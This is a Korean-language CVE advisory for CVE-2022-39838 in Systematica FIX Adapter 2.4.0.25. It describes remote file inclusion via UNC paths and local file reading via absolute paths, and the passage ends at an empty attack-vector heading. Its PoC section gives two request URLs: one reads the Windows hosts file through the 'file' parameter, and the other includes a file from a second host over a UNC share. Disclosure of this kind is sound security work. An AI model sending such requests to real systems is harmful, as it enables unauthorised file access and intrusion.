CVE-2022-39838

[제안 설명]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 2017년 9월 13일 빌드는 UNC 공유 경로명을 통한 원격 파일 포함을 허용하며, 또한 절대 경로를 통한 로컬 경로명 접근도 허용합니다.

[추가 정보]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[취약점 유형]

잘못된 접근 제어

[제품 공급업체]

Systematica

[영향받는 제품 코드 베이스]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (2017년 9월 13일 빌드)

[공격 유형]

원격

[영향 정보 공개]

true

[공격 벡터]